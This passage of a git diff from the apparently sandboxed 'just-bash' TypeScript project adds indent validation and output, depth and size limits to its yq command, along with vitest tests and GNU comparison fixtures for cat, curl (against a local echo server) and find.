+    if (current instanceof Date) {
+      add(utf8ByteLength(current.toISOString()) * escapeFactor);
+      continue;
+    }
+    if (active.has(current)) {
+      throw new Error("cyclic value cannot be formatted");
+    }
+    active.add(current);
+    pending.push({ kind: "exit", value: current });
+    if (Array.isArray(current)) {
+      for (let index = current.length - 1; index >= 0; index--) {
+        pending.push({
+          kind: "value",
+          value: current[index],
+          depth: depth + 1,
+          labelBytes,
+        });
+      }
+      continue;
+    }
+    const record = current as Record<string, unknown>;
+    const keys = Object.keys(record);
+    for (let index = keys.length - 1; index >= 0; index--) {
+      const key = keys[index];
+      const keyBytes = utf8ByteLength(key);
+      add(keyBytes * escapeFactor);
+      pending.push({
+        kind: "value",
+        value: record[key],
+        depth: depth + 1,
+        labelBytes: keyBytes,
+      });
+    }
+  }
 }
diff --git a/packages/just-bash/src/commands/yq/yq.indent.security.test.ts b/packages/just-bash/src/commands/yq/yq.indent.security.test.ts
new file mode 100644
index 00000000..224c96cc
--- /dev/null
+++ b/packages/just-bash/src/commands/yq/yq.indent.security.test.ts
@@ -0,0 +1,27 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+
+describe("yq indent validation", () => {
+  it.each([
+    "-1",
+    "1.5",
+    "Infinity",
+    "33",
+    "999999999999999999999",
+  ])("rejects unsafe indent %s before formatting", async (indent) => {
+    const result = await new Bash().exec(
+      `printf 'a: 1\\n' | yq -o xml --indent='${indent}' '.'`,
+    );
+    expect(result.exitCode).toBe(2);
+    expect(result.stderr).toContain("invalid indent");
+    expect(result.stdout).toBe("");
+  });
+
+  it("accepts the upper bound", async () => {
+    const result = await new Bash().exec(
+      `printf 'a: 1\\n' | yq -o json --indent=32 '.'`,
+    );
+    expect(result.exitCode).toBe(0);
+    expect(result.stderr).toBe("");
+  });
+});
diff --git a/packages/just-bash/src/commands/yq/yq.limits.test.ts b/packages/just-bash/src/commands/yq/yq.limits.test.ts
new file mode 100644
index 00000000..4c04fa9e
--- /dev/null
+++ b/packages/just-bash/src/commands/yq/yq.limits.test.ts
@@ -0,0 +1,87 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+
+describe("yq execution limits", () => {
+  it("shares input node and document accounting across YAML slurp documents", async () => {
+    const env = new Bash({
+      files: { "/data.yaml": "---\na: 1\n---\nb: 2\n---\nc: 3\n" },
+      executionLimits: { maxQueryElements: 5 },
+    });
+
+    const result = await env.exec("yq -s '.' /data.yaml");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toBe("yq: query input element limit exceeded (5)\n");
+  });
+
+  it("bounds JSON escaping during serialization", async () => {
+    const env = new Bash({
+      files: { "/data.yaml": `value: "${"\\n".repeat(100)}"\n` },
+      executionLimits: { maxOutputSize: 80 },
+    });
+
+    const result = await env.exec("yq -o json '.' /data.yaml");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toBe("yq: output size limit exceeded (79 bytes)\n");
+  });
+
+  it("reserves eager YAML serialization against the output budget", async () => {
+    const env = new Bash({
+      files: { "/data.yaml": `value: ${"x".repeat(100)}\n` },
+      executionLimits: { maxOutputSize: 80 },
+    });
+
+    const result = await env.exec("yq '.' /data.yaml");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toBe("yq: output size limit exceeded (79 bytes)\n");
+  });
+
+  it("keeps configurable JSON indentation compatible", async () => {
+    const env = new Bash();
+
+    const result = await env.exec(
+      `printf 'a: 1\\n' | yq -o json --indent=4 '.'`,
+    );
+
+    expect(result).toMatchObject({
+      stdout: '{\n    "a": 1\n}\n',
+      stderr: "",
+      exitCode: 0,
+    });
+  });
+
+  it("enforces maxStringLength inside query string multiplication", async () => {
+    const env = new Bash({
+      executionLimits: { maxStringLength: 64 },
+    });
+
+    const result = await env.exec(`yq -n '"12345678" * 9'`);
+
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe("yq: string size limit exceeded (64 bytes)\n");
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+  });
+
+  it("reserves UTF-8 output and the final newline prospectively", async () => {
+    const exact = new Bash({
+      executionLimits: { maxStringLength: 100, maxOutputSize: 3 },
+    });
+    const accepted = await exact.exec(`yq -n -r '"é"'`);
+    expect(accepted.stdout).toBe("é\n");
+    expect(accepted.stderr).toBe("");
+    expect(accepted.exitCode).toBe(0);
+
+    const over = new Bash({
+      executionLimits: { maxStringLength: 100, maxOutputSize: 2 },
+    });
+    const rejected = await over.exec(`yq -n -r '"é"'`);
+    expect(rejected.stdout).toBe("");
+    expect(rejected.stderr).toBe(
+      "bash: pipeline: total output size exceeded (>2 bytes), increase executionLimits.maxOutputSize\n",
+    );
+    expect(rejected.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+  });
+});
diff --git a/packages/just-bash/src/commands/yq/yq.ts b/packages/just-bash/src/commands/yq/yq.ts
index 5f5e4d46..b0dac794 100644
--- a/packages/just-bash/src/commands/yq/yq.ts
+++ b/packages/just-bash/src/commands/yq/yq.ts
@@ -1,5 +1,5 @@
 /**
- * yq - Command-line YAML/XML/INI/CSV/TOML processor
+ * yq - RuntimeCommand-line YAML/XML/INI/CSV/TOML processor
  *
  * Uses jq-style query expressions to process YAML, XML, INI, CSV, and TOML files.
  * Shares the query engine with jq for consistent filtering behavior.
@@ -8,6 +8,7 @@
  * This is a reimplementation for the just-bash sandboxed environment.
  */
 
+import { BoundedStringBuilder } from "../../bounded-builder.js";
 import { decodeBytesToUtf8 } from "../../encoding.js";
 import { sanitizeErrorMessage } from "../../fs/sanitize-error.js";
 import { ExecutionLimitError } from "../../interpreter/errors.js";
@@ -16,7 +17,11 @@ import {
   awaitWithDefenseContext,
 } from "../../security/defense-context.js";
 import { SecurityViolationError } from "../../security/defense-in-depth-box.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
 import {
   type EvaluateOptions,
@@ -24,6 +29,7 @@ import {
   parse,
   type QueryValue,
 } from "../query-engine/index.js";
+import { getValueDepth } from "../query-engine/value-operations.js";
 import {
   defaultFormatOptions,
   detectFormatFromExtension,
@@ -124,6 +130,21 @@ EXAMPLES:
   ],
 };
 
+function parseIndent(value: string | undefined): number | null {
+  if (value === undefined || !/^\d+$/.test(value)) return null;
+  const indent = Number(value);
+  if (!Number.isSafeInteger(indent) || indent < 0 || indent > 32) return null;
+  return indent;
+}
+
+function invalidIndent(value: string | undefined): ExecResult {
+  return {
+    stdout: "",
+    stderr: `yq: invalid indent '${value ?? ""}' (expected integer 0..32)\n`,
+    exitCode: 2,
+  };
+}
+
 interface YqOptions extends FormatOptions {
   exitStatus: boolean;
   slurp: boolean;
@@ -174,7 +195,10 @@ function parseArgs(args: string[]): ParsedArgs | ExecResult {
       }
       options.outputFormat = format;
     } else if (a.startsWith("--indent=")) {
-      options.indent = Number.parseInt(a.slice(9), 10);
+      const indentValue = a.slice(9);
+      const indent = parseIndent(indentValue);
+      if (indent === null) return invalidIndent(indentValue);
+      options.indent = indent;
     } else if (a.startsWith("--xml-attribute-prefix=")) {
       options.xmlAttributePrefix = a.slice(23);
     } else if (a.startsWith("--xml-content-name=")) {
@@ -199,7 +223,10 @@ function parseArgs(args: string[]): ParsedArgs | ExecResult {
       }
       options.outputFormat = format;
     } else if (a === "-I" || a === "--indent") {
-      options.indent = Number.parseInt(args[++i], 10);
+      const indentValue = args[++i];
+      const indent = parseIndent(indentValue);
+      if (indent === null) return invalidIndent(indentValue);
+      options.indent = indent;
     } else if (a === "-r" || a === "--raw-output") {
       options.raw = true;
     } else if (a === "-c" || a === "--compact") {
@@ -247,10 +274,13 @@ function parseArgs(args: string[]): ParsedArgs | ExecResult {
   return { options, filter, files, inputFormatExplicit };
 }
 
-export const yqCommand: Command = {
+export const yqCommand: RuntimeCommand = {
   name: "yq",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     assertDefenseContext(ctx.requireDefenseContext, "yq", "execution entry");
     const withDefenseContext = <T>(
       phase: string,
@@ -311,23 +341,38 @@ export const yqCommand: Command = {
     }
 
     try {
-      const ast = parse(filter);
+      const ast = parse(filter, {
+        maxDepth: ctx.limits.maxQueryDepth,
+        maxTokens: ctx.limits.maxQueryTokens,
+        maxSourceLength: ctx.limits.maxStringLength,
+      });
       let values: QueryValue[];
 
       const evalOptions: EvaluateOptions = {
         limits: ctx.limits
-          ? { maxIterations: ctx.limits.maxJqIterations }
+          ? {
+              maxIterations: ctx.limits.maxJqIterations,
+              maxStringLength: ctx.limits.maxStringLength,
+              maxOutputSize: ctx.limits.maxOutputSize,
+              maxArrayElements: ctx.limits.maxQueryElements,
+              maxDepth: ctx.limits.maxQueryDepth,
+            }
           : undefined,
         env: ctx.env,
         coverage: ctx.coverage,
         requireDefenseContext: ctx.requireDefenseContext,
+        budget: { operations: 0, callDepth: 0 },
+      };
+      const dataLimits = {
+        maxDepth: ctx.limits.maxQueryDepth,
+        maxElements: ctx.limits.maxQueryElements,
       };
 
       if (options.nullInput) {
         values = evaluate(null, ast, evalOptions);
       } else if (options.frontMatter) {
         // Extract and process front-matter only
-        const fm = extractFrontMatter(input);
+        const fm = extractFrontMatter(input, dataLimits);
         if (!fm) {
           return {
             stdout: "",
@@ -341,25 +386,74 @@ export const yqCommand: Command = {
         let items: QueryValue[];
         if (options.inputFormat === "yaml") {
           // YAML supports multiple documents separated by ---
-          items = parseAllYamlDocuments(input);
+          items = parseAllYamlDocuments(input, dataLimits);
         } else {
-          items = [parseInput(input, options)];
+          items = [parseInput(input, options, dataLimits)];
         }
         values = evaluate(items, ast, evalOptions);
       } else {
-        const parsed = parseInput(input, options);
+        const parsed = parseInput(input, options, dataLimits);
         values = evaluate(parsed, ast, evalOptions);
       }
 
       // Format output
-      const formatted = values.map((v) => formatOutput(v, options));
+      const maxOutputSize = Math.min(
+        ctx.limits.maxStringLength,
+        ctx.limits.maxOutputSize,
+      );
       const separator = options.joinOutput ? "" : "\n";
-      const output = formatted.filter((s) => s !== "").join(separator);
-      const finalOutput = output
-        ? options.joinOutput
-          ? output
-          : `${output}\n`
-        : "";
+      const output = new BoundedStringBuilder(
+        maxOutputSize,
+        "yq output",
+        () =>
+          new ExecutionLimitError(
+            `output size limit exceeded (${maxOutputSize} bytes)`,
+            "output_size",
+          ),
+      );
+      let formattedValues = 0;
+      for (const value of values) {
+        if (
+          getValueDepth(value, ctx.limits.maxQueryDepth + 1) >
+          ctx.limits.maxQueryDepth
+        ) {
+          throw new ExecutionLimitError(
+            `query depth limit exceeded (${ctx.limits.maxQueryDepth})`,
+            "recursion",
+          );
+        }
+        const separatorBytes = formattedValues > 0 ? separator.length : 0;
+        const finalNewlineBytes = options.joinOutput ? 0 : 1;
+        const remainingBytes =
+          output.remainingBytes - separatorBytes - finalNewlineBytes;
+        if (remainingBytes < 0) {
+          throw new ExecutionLimitError(
+            `output size limit exceeded (${maxOutputSize} bytes)`,
+            "output_size",
+          );
+        }
+        const serializationLimit = Math.min(
+          remainingBytes,
+          ctx.executionScope?.remainingLiveBytes ?? remainingBytes,
+        );
+        const serializationLease = ctx.executionScope?.reserveBytes(
+          "yq serialization",
+          serializationLimit,
+          "yq output",
+        );
+        let text: string;
+        try {
+          text = formatOutput(value, options, serializationLimit);
+        } finally {
+          serializationLease?.release();
+        }
+        if (text === "") continue;
+        if (formattedValues > 0) output.append(separator);
+        output.append(text);
+        formattedValues++;
+      }
+      if (formattedValues > 0 && !options.joinOutput) output.append("\n");
+      const finalOutput = output.build();
 
       // Handle inplace mode
       if (options.inplace && filePath) {
diff --git a/packages/just-bash/src/comparison-tests/cat-show.comparison.test.ts b/packages/just-bash/src/comparison-tests/cat-show.comparison.test.ts
new file mode 100644
index 00000000..48bcacde
--- /dev/null
+++ b/packages/just-bash/src/comparison-tests/cat-show.comparison.test.ts
@@ -0,0 +1,163 @@
+import { afterEach, beforeEach, describe, it } from "vitest";
+import {
+  cleanupTestDir,
+  compareOutputs,
+  createTestDir,
+  setupFiles,
+} from "./fixture-runner.js";
+
+// GNU coreutils `cat` display flags (-A -b -e -E -s -t -T -v -u).
+// macOS ships BSD `cat`, which lacks -A/-E/-T/long options and diverges on
+// -v notation, so these fixtures are recorded against GNU cat and locked.
+const BASIC = "line 1\nline 2\nline 3\n";
+const BLANKS = "a\n\n\n\nb\n\n\nc\n";
+const TABS = "col1\tcol2\tcol3\n";
+const CTRL = "bell\x07end\nesc\x1bhere\ndel\x7fmark\n";
+const MIXED = "tab\there\nctrl\x07bell\ndel\x7fdel\n";
+const NOTRAIL = "tab\there no newline";
+
+describe("cat display flags - GNU Comparison", () => {
+  let testDir: string;
+
+  beforeEach(async () => {
+    testDir = await createTestDir();
+  });
+
+  afterEach(async () => {
+    await cleanupTestDir(testDir);
+  });
+
+  it("should match -A (show-all)", async () => {
+    const env = await setupFiles(testDir, { "mixed.txt": MIXED });
+    await compareOutputs(env, testDir, "cat -A mixed.txt");
+  });
+
+  it("should match -A on file without trailing newline", async () => {
+    const env = await setupFiles(testDir, { "notrail.txt": NOTRAIL });
+    await compareOutputs(env, testDir, "cat -A notrail.txt");
+  });
+
+  it("should match -b (number-nonblank)", async () => {
+    const env = await setupFiles(testDir, { "blanks.txt": BLANKS });
+    await compareOutputs(env, testDir, "cat -b blanks.txt");
+  });
+
+  it("should match -e (== -vE)", async () => {
+    const env = await setupFiles(testDir, { "mixed.txt": MIXED });
+    await compareOutputs(env, testDir, "cat -e mixed.txt");
+  });
+
+  it("should match -E (show-ends)", async () => {
+    const env = await setupFiles(testDir, { "basic.txt": BASIC });
+    await compareOutputs(env, testDir, "cat -E basic.txt");
+  });
+
+  it("should match -E on file without trailing newline", async () => {
+    const env = await setupFiles(testDir, { "notrail.txt": NOTRAIL });
+    await compareOutputs(env, testDir, "cat -E notrail.txt");
+  });
+
+  it("should match -s (squeeze-blank)", async () => {
+    const env = await setupFiles(testDir, { "blanks.txt": BLANKS });
+    await compareOutputs(env, testDir, "cat -s blanks.txt");
+  });
+
+  it("should match -t (== -vT)", async () => {
+    const env = await setupFiles(testDir, { "tabs.txt": TABS });
+    await compareOutputs(env, testDir, "cat -t tabs.txt");
+  });
+
+  it("should match -T (show-tabs)", async () => {
+    const env = await setupFiles(testDir, { "tabs.txt": TABS });
+    await compareOutputs(env, testDir, "cat -T tabs.txt");
+  });
+
+  it("should match -v (show-nonprinting)", async () => {
+    const env = await setupFiles(testDir, { "ctrl.txt": CTRL });
+    await compareOutputs(env, testDir, "cat -v ctrl.txt");
+  });
+
+  it("should match -u (ignored no-op)", async () => {
+    const env = await setupFiles(testDir, { "basic.txt": BASIC });
+    await compareOutputs(env, testDir, "cat -u basic.txt");
+  });
+});
+
+describe("cat combined flags - GNU Comparison", () => {
+  let testDir: string;
+
+  beforeEach(async () => {
+    testDir = await createTestDir();
+  });
+
+  afterEach(async () => {
+    await cleanupTestDir(testDir);
+  });
+
+  it("should match -An (show-all + number)", async () => {
+    const env = await setupFiles(testDir, { "mixed.txt": MIXED });
+    await compareOutputs(env, testDir, "cat -An mixed.txt");
+  });
+
+  it("should match -bE (number-nonblank + show-ends)", async () => {
+    const env = await setupFiles(testDir, { "blanks.txt": BLANKS });
+    await compareOutputs(env, testDir, "cat -bE blanks.txt");
+  });
+
+  it("should match -vET (== -A)", async () => {
+    const env = await setupFiles(testDir, { "mixed.txt": MIXED });
+    await compareOutputs(env, testDir, "cat -vET mixed.txt");
+  });
+
+  it("should match -nb (-b overrides -n)", async () => {
+    const env = await setupFiles(testDir, { "blanks.txt": BLANKS });
+    await compareOutputs(env, testDir, "cat -nb blanks.txt");
+  });
+
+  it("should match -sn (squeeze + number)", async () => {
+    const env = await setupFiles(testDir, { "blanks.txt": BLANKS });
+    await compareOutputs(env, testDir, "cat -sn blanks.txt");
+  });
+});
+
+describe("cat long options - GNU Comparison", () => {
+  let testDir: string;
+
+  beforeEach(async () => {
+    testDir = await createTestDir();
+  });
+
+  afterEach(async () => {
+    await cleanupTestDir(testDir);
+  });
+
+  it("should match --show-all", async () => {
+    const env = await setupFiles(testDir, { "mixed.txt": MIXED });
+    await compareOutputs(env, testDir, "cat --show-all mixed.txt");
+  });
+
+  it("should match --number-nonblank", async () => {
+    const env = await setupFiles(testDir, { "blanks.txt": BLANKS });
+    await compareOutputs(env, testDir, "cat --number-nonblank blanks.txt");
+  });
+
+  it("should match --show-ends", async () => {
+    const env = await setupFiles(testDir, { "basic.txt": BASIC });
+    await compareOutputs(env, testDir, "cat --show-ends basic.txt");
+  });
+
+  it("should match --squeeze-blank", async () => {
+    const env = await setupFiles(testDir, { "blanks.txt": BLANKS });
+    await compareOutputs(env, testDir, "cat --squeeze-blank blanks.txt");
+  });
+
+  it("should match --show-tabs", async () => {
+    const env = await setupFiles(testDir, { "tabs.txt": TABS });
+    await compareOutputs(env, testDir, "cat --show-tabs tabs.txt");
+  });
+
+  it("should match --show-nonprinting", async () => {
+    const env = await setupFiles(testDir, { "ctrl.txt": CTRL });
+    await compareOutputs(env, testDir, "cat --show-nonprinting ctrl.txt");
+  });
+});
diff --git a/packages/just-bash/src/comparison-tests/curl-data.comparison.test.ts b/packages/just-bash/src/comparison-tests/curl-data.comparison.test.ts
new file mode 100644
index 00000000..d1f70c32
--- /dev/null
+++ b/packages/just-bash/src/comparison-tests/curl-data.comparison.test.ts
@@ -0,0 +1,124 @@
+import { execFile } from "node:child_process";
+import { mkdtemp, rm, writeFile } from "node:fs/promises";
+import { createServer } from "node:http";
+import type { AddressInfo } from "node:net";
+import { tmpdir } from "node:os";
+import { join } from "node:path";
+import { promisify } from "node:util";
+import { afterAll, beforeAll, describe, expect, it } from "vitest";
+import { Bash } from "../Bash.js";
+
+const execFileAsync = promisify(execFile);
+
+describe("curl data options - real curl comparison", () => {
+  const server = createServer((request, response) => {
+    const chunks: Buffer[] = [];
+    request.on("data", (chunk: Buffer) => chunks.push(chunk));
+    request.on("end", () => {
+      const address = server.address() as AddressInfo;
+      const url = new URL(
+        request.url ?? "/",
+        `http://127.0.0.1:${address.port}`,
+      );
+      const body = Buffer.concat(chunks).toString("utf8");
+      const summary = {
+        method: request.method,
+        path: url.pathname,
+        query: [...url.searchParams.entries()],
+        body: body ? [...new URLSearchParams(body).entries()] : [],
+        contentType: request.headers["content-type"] ?? null,
+      };
+      response.writeHead(200, { "Content-Type": "application/json" });
+      response.end(JSON.stringify(summary));
+    });
+  });
+
+  let baseUrl: string;
+  let realCurlCwd: string;
+
+  beforeAll(async () => {
+    await new Promise<void>((resolve, reject) => {
+      server.once("error", reject);
+      server.listen(0, "127.0.0.1", () => resolve());
+    });
+    const address = server.address() as AddressInfo;
+    baseUrl = `http://127.0.0.1:${address.port}`;
+    realCurlCwd = await mkdtemp(join(tmpdir(), "just-bash-curl-"));
+    await writeFile(join(realCurlCwd, "payload.txt"), "a=1\n");
+  });
+
+  afterAll(async () => {
+    await new Promise<void>((resolve, reject) => {
+      server.close((error) => (error ? reject(error) : resolve()));
+    });
+    await rm(realCurlCwd, { recursive: true, force: true });
+  });
+
+  async function runRealCurl(args: string[]): Promise<string> {
+    const { stdout } = await execFileAsync("curl", ["-sS", ...args], {
+      cwd: realCurlCwd,
+      encoding: "utf8",
+    });
+    return stdout;
+  }
+
+  function createEnv(files?: Record<string, string>): Bash {
+    return new Bash({
+      files,
+      network: {
+        allowedUrlPrefixes: [baseUrl],
+        allowedMethods: ["GET", "POST"],
+        denyPrivateRanges: false,
+      },
+    });
+  }
+
+  it("matches -G query aggregation", async () => {
+    const real = await runRealCurl([
+      "-G",
+      `${baseUrl}/echo?fixed=1`,
+      "--data-urlencode",
+      "query=a b*",
+      "-d",
+      "raw=1",
+    ]);
+    const result = await createEnv().exec(
+      `curl -sS -G '${baseUrl}/echo?fixed=1' --data-urlencode 'query=a b*' -d 'raw=1'`,
+    );
+
+    expect(result).toMatchObject({ stdout: real, stderr: "", exitCode: 0 });
+  });
+
+  it("matches ordered inline and file-backed POST data", async () => {
+    const real = await runRealCurl([
+      "-d",
+      "@payload.txt",
+      "--data-urlencode",
+      "q=a b*",
+      "--data-raw",
+      "c=3",
+      `${baseUrl}/echo`,
+    ]);
+    const result = await createEnv({ "/payload.txt": "a=1\n" }).exec(
+      `curl -sS -d @/payload.txt --data-urlencode 'q=a b*' --data-raw 'c=3' '${baseUrl}/echo'`,
+    );
+
+    expect(result).toMatchObject({ stdout: real, stderr: "", exitCode: 0 });
+  });
+
+  it("matches -G combined with an explicit request method", async () => {
+    const real = await runRealCurl([
+      "-X",
+      "POST",
+      "-G",
+      "--data-urlencode",
+      "q=1",
+      `${baseUrl}/echo`,
+    ]);
+    const result = await createEnv().exec(
+      `curl -sS -X POST -G --data-urlencode 'q=1' '${baseUrl}/echo'`,
+    );
+
+    expect(result).toMatchObject({ stdout: real, stderr: "", exitCode: 0 });
+  });
+});
diff --git a/packages/just-bash/src/comparison-tests/find.comparison.test.ts b/packages/just-bash/src/comparison-tests/find.comparison.test.ts
index 064f4fd0..dd312e17 100644
--- a/packages/just-bash/src/comparison-tests/find.comparison.test.ts
+++ b/packages/just-bash/src/comparison-tests/find.comparison.test.ts
@@ -238,4 +238,36 @@ describe("find command - Real Bash Comparison", () => {
       );
     });
   });
+
+  describe("action expression semantics", () => {
+    it("short-circuits actions in OR branches", async () => {
+      const env = await setupFiles(testDir, {
+        keep: "",
+        remove: "",
+        other: "",
+      });
+      await compareOutputs(
+        env,
+        testDir,
+        "find . -type f \\( -name keep -print -o -name remove -print \\) | sort",
+      );
+    });
+
+    it("reaches actions under NOT with native find semantics", async () => {
+      const env = await setupFiles(testDir, { file: "" });
+      await compareOutputs(env, testDir, "find . -type f ! -print");
+    });
+
+    it("matches nested descendants in path patterns", async () => {
+      const env = await setupFiles(testDir, {
+        "pulls/direct.json": "",
+        "pulls/nested/deep.json": "",
+      });
+      await compareOutputs(
+        env,
+        testDir,
+        "find . -type f -path '*/pulls/*.json' -print | sort",
+      );
+    });
+  });
 });
diff --git a/packages/just-bash/src/comparison-tests/fixtures/cat-show.comparison.fixtures.json b/packages/just-bash/src/comparison-tests/fixtures/cat-show.comparison.fixtures.json
new file mode 100644
index 00000000..47c7a606
--- /dev/null
+++ b/packages/just-bash/src/comparison-tests/fixtures/cat-show.comparison.fixtures.json
@@ -0,0 +1,222 @@
+{
+  "044a8a4e0fa51fa2": {
+    "command": "cat --show-nonprinting ctrl.txt",
+    "files": {
+      "ctrl.txt": "bell\u0007end\nesc\u001bhere\ndelmark\n"
+    },
+    "stdout": "bell^Gend\nesc^[here\ndel^?mark\n",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  },
+  "20119c401f76835e": {
+    "command": "cat -nb blanks.txt",
+    "files": {
+      "blanks.txt": "a\n\n\n\nb\n\n\nc\n"
+    },
+    "stdout": "     1\ta\n\n\n\n     2\tb\n\n\n     3\tc\n",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  },
+  "4294948bf58cb6fd": {
+    "command": "cat --show-tabs tabs.txt",
+    "files": {
+      "tabs.txt": "col1\tcol2\tcol3\n"
+    },
+    "stdout": "col1^Icol2^Icol3\n",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  },
+  "452a30834ad08854": {
+    "command": "cat --squeeze-blank blanks.txt",
+    "files": {
+      "blanks.txt": "a\n\n\n\nb\n\n\nc\n"
+    },
+    "stdout": "a\n\nb\n\nc\n",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  },
+  "5850160a7e5e4076": {
+    "command": "cat -v ctrl.txt",
+    "files": {
+      "ctrl.txt": "bell\u0007end\nesc\u001bhere\ndelmark\n"
+    },
+    "stdout": "bell^Gend\nesc^[here\ndel^?mark\n",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  },
+  "599408168547599e": {
+    "command": "cat -bE blanks.txt",
+    "files": {
+      "blanks.txt": "a\n\n\n\nb\n\n\nc\n"
+    },
+    "stdout": "     1\ta$\n$\n$\n$\n     2\tb$\n$\n$\n     3\tc$\n",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  },
+  "6b86128309f82b35": {
+    "command": "cat -sn blanks.txt",
+    "files": {
+      "blanks.txt": "a\n\n\n\nb\n\n\nc\n"
+    },
+    "stdout": "     1\ta\n     2\t\n     3\tb\n     4\t\n     5\tc\n",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  },
+  "70dc12563ec9b4d7": {
+    "command": "cat -E notrail.txt",
+    "files": {
+      "notrail.txt": "tab\there no newline"
+    },
+    "stdout": "tab\there no newline",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  },
+  "7760243dfcbf947e": {
+    "command": "cat -vET mixed.txt",
+    "files": {
+      "mixed.txt": "tab\there\nctrl\u0007bell\ndeldel\n"
+    },
+    "stdout": "tab^Ihere$\nctrl^Gbell$\ndel^?del$\n",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  },
+  "9980f3f6aa971e21": {
+    "command": "cat -A notrail.txt",
+    "files": {
+      "notrail.txt": "tab\there no newline"
+    },
+    "stdout": "tab^Ihere no newline",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  },
+  "9a837367dd8691d7": {
+    "command": "cat -e mixed.txt",
+    "files": {
+      "mixed.txt": "tab\there\nctrl\u0007bell\ndeldel\n"
+    },
+    "stdout": "tab\there$\nctrl^Gbell$\ndel^?del$\n",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  },
+  "9e1e48c2e33d9997": {
+    "command": "cat -u basic.txt",
+    "files": {
+      "basic.txt": "line 1\nline 2\nline 3\n"
+    },
+    "stdout": "line 1\nline 2\nline 3\n",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  },
+  "ab7b66d85210c7d9": {
+    "command": "cat --number-nonblank blanks.txt",
+    "files": {
+      "blanks.txt": "a\n\n\n\nb\n\n\nc\n"
+    },
+    "stdout": "     1\ta\n\n\n\n     2\tb\n\n\n     3\tc\n",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  },
+  "ac561dbe85ab9a02": {
+    "command": "cat --show-all mixed.txt",
+    "files": {
+      "mixed.txt": "tab\there\nctrl\u0007bell\ndeldel\n"
+    },
+    "stdout": "tab^Ihere$\nctrl^Gbell$\ndel^?del$\n",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  },
+  "b392b9efa61475e0": {
+    "command": "cat -t tabs.txt",
+    "files": {
+      "tabs.txt": "col1\tcol2\tcol3\n"
+    },
+    "stdout": "col1^Icol2^Icol3\n",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  },
+  "bf25bc8aec889481": {
+    "command": "cat --show-ends basic.txt",
+    "files": {
+      "basic.txt": "line 1\nline 2\nline 3\n"
+    },
+    "stdout": "line 1$\nline 2$\nline 3$\n",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  },
+  "ca3ac60006423c04": {
+    "command": "cat -b blanks.txt",
+    "files": {
+      "blanks.txt": "a\n\n\n\nb\n\n\nc\n"
+    },
+    "stdout": "     1\ta\n\n\n\n     2\tb\n\n\n     3\tc\n",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  },
+  "d3d5075ff97a97ca": {
+    "command": "cat -An mixed.txt",
+    "files": {
+      "mixed.txt": "tab\there\nctrl\u0007bell\ndeldel\n"
+    },
+    "stdout": "     1\ttab^Ihere$\n     2\tctrl^Gbell$\n     3\tdel^?del$\n",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  },
+  "de9d74ef7f2470c4": {
+    "command": "cat -A mixed.txt",
+    "files": {
+      "mixed.txt": "tab\there\nctrl\u0007bell\ndeldel\n"
+    },
+    "stdout": "tab^Ihere$\nctrl^Gbell$\ndel^?del$\n",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  },
+  "e453713c81330d88": {
+    "command": "cat -T tabs.txt",
+    "files": {
+      "tabs.txt": "col1\tcol2\tcol3\n"
+    },
+    "stdout": "col1^Icol2^Icol3\n",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  },
+  "fea0ba381c025a27": {
+    "command": "cat -s blanks.txt",
+    "files": {
+      "blanks.txt": "a\n\n\n\nb\n\n\nc\n"
+    },
+    "stdout": "a\n\nb\n\nc\n",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  },
+  "feaa71664184f56c": {
+    "command": "cat -E basic.txt",
+    "files": {
+      "basic.txt": "line 1\nline 2\nline 3\n"
+    },
+    "stdout": "line 1$\nline 2$\nline 3$\n",
+    "stderr": "",
+    "exitCode": 0,
+    "locked": true
+  }
+}
diff --git a/packages/just-bash/src/comparison-tests/fixtures/find.comparison.fixtures.json b/packages/just-bash/src/comparison-tests/fixtures/find.comparison.fixtures.json
index 89ee5ce3..67513369 100644
--- a/packages/just-bash/src/comparison-tests/fixtures/find.comparison.fixtures.json
+++ b/packages/just-bash/src/comparison-tests/fixtures/find.comparison.fixtures.json
@@ -149,6 +149,17 @@
     "stderr": "",
     "exitCode": 0
   },
+  "ac1fd4b39e77ec26": {
+    "command": "find . -type f \\( -name keep -print -o -name remove -print \\) | sort",
+    "files": {
+      "keep": "",
+      "remove": "",
+      "other": ""
+    },
+    "stdout": "./keep\n./remove\n",
+    "stderr": "",
+    "exitCode": 0
+  },
   "ad51ad70b8844f82": {
